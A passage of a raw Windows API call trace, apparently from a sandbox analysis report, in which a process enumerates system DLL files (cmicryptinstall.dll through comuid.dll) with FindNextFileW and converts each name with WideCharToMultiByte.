ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x1efc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x1efc288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x1efc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.051] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.052] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0261.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, 